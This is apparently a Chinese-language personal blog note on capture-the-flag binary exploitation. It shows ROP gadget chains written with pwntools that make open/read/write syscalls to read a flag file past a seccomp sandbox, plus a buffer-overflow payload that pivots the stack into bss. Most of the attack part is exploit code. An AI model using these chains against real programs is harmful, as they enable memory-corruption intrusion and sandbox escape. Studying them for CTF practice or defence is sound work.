shellcode寄存器编写控制技巧

更新一下笔记,主要是记录写shellcode的寄存器控制方法,持续更新

pop r12; pop r14; pop r15; pop rbp; ret;
mov rdx, r12; call r14;
pop rbp,ret;

这是一个通用gadget,用来完成我们函数调用寄存器的gagdet,如过题目开启了沙盒,也就是禁用了orw,open,read,write,这时候我就得使用syscall来进行调用这些函数来绕过沙盒的检测,syscall是一个系统调用的一个指令,也就代表我们要编写shellcode,shellcode就是用汇编编写的,我们主要用汇编编写三个函数,分别是,open,read,write
我们分析一下open的参数,open(参数1,0),open的作用就是打开一个文件,所以参数1我们要打开flag,在汇编中参数1的寄存器就是rdi,参数2rsi,哪看下read,read(3,参数2,参数3(size)),分别有三个参数,那就按照正常的逻辑需要rdi、rsi、rdx三个寄存器,它的作用就是读入,write也是需要三个寄存器,作用就是写出,整个3个函数作用就是“打开”----“写入”------“写出”,就能达到我们要拿到比赛的flag拉。
但是有的题目当中,所给的gagdet也就是寄存器并没有那么标准,哪就需要将他们组起,列如上边哪个gadet,rdx不好找。我们找到了r12控制rdx,然后call 一下压栈,这个call可以pop下就能返回到rdx控制流,所以这个gadget联合起来可以控制rdx

rop = flat(
        # rdx = 9
        # open(flag, 0, ..)
        poprax, 2, 
        poprsi, 0, 0, 0, 
        poprdi, flag, 0, 
        sysret, 
        pop_r12, 0x200, pop_ret, 0, 0, 
        mov_rdx_r12, 

        # read(3, flag, ..)
        pop_rax, 0, 
        pop_rsi, flag, 0, 0, 
        pop_rdi, 3, 0, 
        sys_ret, 

        # wirte(1, flag, ..)
        pop_rax, 1, 
        pop_rdi, 1, 0, 
        sys_ret, 
        )

看到了我们已经完成了orw的一个shellcode汇编编写
然后另一种情况就是当程序出现溢出得到限制话,那就需要一个gadget实现栈迁移,思路:先用read往bss输入gagdet,然后再进行迁移即可

le:mov qword ptr [rdi + rdx - 0x2f], rax; mov qword ptr [rdi + rdx - 0x27], rax; mov rax, rdi; ret;

此处可以控制rdi为bss上地址并且劫持控制流

payload = b'./flagx00'.ljust(0x118, b'a') + flat(

    pop_r12, 0x200, pop_ret, 0, 0, 
    mov_rdx_r12, 

    pop_rax, 0, 
    pop_rsi, stack, 0, 0, 
    pop_rdi, 0, 0, 
    sys_ret, 

    pop_rdi, bss, stack - 0x8, 
    le, 
    )

然后依次发送即可达到我们想要的目的

未完持续.......

本文链接:

http://azly.top/index.php/archives/31/
1 + 1 =
快来做第一个评论的人吧~